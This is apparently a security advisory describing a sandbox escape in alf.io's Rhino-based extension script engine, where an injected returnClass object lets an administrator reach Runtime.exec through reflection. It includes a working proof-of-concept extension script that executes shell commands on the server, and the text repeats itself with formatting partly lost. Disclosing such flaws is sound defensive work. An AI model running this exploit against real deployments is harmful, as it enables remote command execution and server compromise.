Summary
A sandbox escape vulnerability in the alf.io extension script engine allows an authenticated administrator to execute arbitrary operating system commands on the server. The extension system is intended to execute restricted JavaScript in a sandboxed Rhino environment; however, unguarded injected Java object (returnClass) allowed the sandbox to be fully escaped using Java reflection without triggering any validation errors.
Affected Endpoint
POST /admin/api/extensions
The vulnerability is triggered when an extension script is saved. No additional interaction is required — the malicious code executes the next time the chosen event fires (e.g. INVOICE_GENERATION on the first ticket purchase with invoicing enabled).
Vulnerability Details
Background
alf.io allows administrators to upload server-side JavaScript extensions executed by the Mozilla Rhino engine. A multi-layer sandbox is in place:
-
Static AST validation (JSNodeVisitor) — rejects scripts containing while/do loops, with statements, .System property access, .getClass() property access, and the bare newInstance name token.
-
initSafeStandardObjects — removes Packages, java, and related Rhino globals that would otherwise expose the full JVM class hierarchy.
-
Custom Java object (JavaClassInterop) — replaces Rhino's built-in Java.type() with a whitelist-only implementation that only permits alfio.model.CustomerName.
Root Cause
ScriptingExecutionService.executeScriptFinally() injects returnClass — a real, unrestricted java.lang.Class<?> object — into every script scope:
// ScriptingExecutionService.java ~L185
scope.put("returnClass", scope, clazz);
Class.forName(String) is a static method available on any Class<?> instance and is subject to no restrictions. An attacker can call returnClass.forName('java.lang.Runtime') to obtain arbitrary Class objects, then use standard Java reflection (getMethod, invoke) to call any method on any class, completely bypassing the JavaClassInterop whitelist and the initSafeStandardObjects lockdown.
Proof of Concept
Extension Script
Paste the following into the alf.io extension editor (or POST it to /admin/api/extensions):
function getScriptMetadata() {
return {
id: 'rce-validate',
displayName: 'RCE Validate',
version: 0,
async: false,
events: ['TICKET_ASSIGNED','INVOICE_GENERATION']
};
}
function executeScript(scriptEvent) {
var rtClass = returnClass.forName('java.lang.Runtime');
var strClass = returnClass.forName('java.lang.String');
var runtime = rtClass.getMethod('getRuntime').invoke(null);
var proc = rtClass.getMethod('exec', strClass).invoke(runtime, 'id');
var bytes = proc.getInputStream().readAllBytes();
var output = '';
for (var i = 0; i < bytes.length; i++) {
output += String.fromCharCode(bytes[i] & 0xFF);
}
console.log(output);
return { invoiceNumber: output };
}
Expected Output
The id command output (e.g. uid=1000(alfio) gid=1000(alfio) groups=1000(alfio)) appears as the generated invoice number in the UI and in the extension log (GET /admin/api/extensions/log). Any shell command can be substituted.
Impact
An attacker with administrator access can execute arbitrary OS commands as the alf.io process user
Summary
A sandbox escape vulnerability in the alf.io extension script engine allows an authenticated administrator to execute arbitrary operating system commands on the server. The extension system is intended to execute restricted JavaScript in a sandboxed Rhino environment; however, unguarded injected Java object (returnClass) allowed the sandbox to be fully escaped using Java reflection without triggering any validation errors.
Affected Endpoint
The vulnerability is triggered when an extension script is saved. No additional interaction is required — the malicious code executes the next time the chosen event fires (e.g.
INVOICE_GENERATIONon the first ticket purchase with invoicing enabled).Vulnerability Details
Background
alf.io allows administrators to upload server-side JavaScript extensions executed by the Mozilla Rhino engine. A multi-layer sandbox is in place:
Static AST validation (
JSNodeVisitor) — rejects scripts containingwhile/doloops,withstatements,.Systemproperty access,.getClass()property access, and the barenewInstancename token.initSafeStandardObjects— removesPackages,java, and related Rhino globals that would otherwise expose the full JVM class hierarchy.Custom
Javaobject (JavaClassInterop) — replaces Rhino's built-inJava.type()with a whitelist-only implementation that only permitsalfio.model.CustomerName.Root Cause
ScriptingExecutionService.executeScriptFinally()injectsreturnClass— a real, unrestrictedjava.lang.Class<?>object — into every script scope:Class.forName(String)is a static method available on anyClass<?>instance and is subject to no restrictions. An attacker can callreturnClass.forName('java.lang.Runtime')to obtain arbitrary Class objects, then use standard Java reflection (getMethod,invoke) to call any method on any class, completely bypassing theJavaClassInteropwhitelist and theinitSafeStandardObjectslockdown.Proof of Concept
Extension Script
Paste the following into the alf.io extension editor (or POST it to
/admin/api/extensions):Expected Output
The
idcommand output (e.g.uid=1000(alfio) gid=1000(alfio) groups=1000(alfio)) appears as the generated invoice number in the UI and in the extension log (GET /admin/api/extensions/log). Any shell command can be substituted.Impact
An attacker with administrator access can execute arbitrary OS commands as the alf.io process user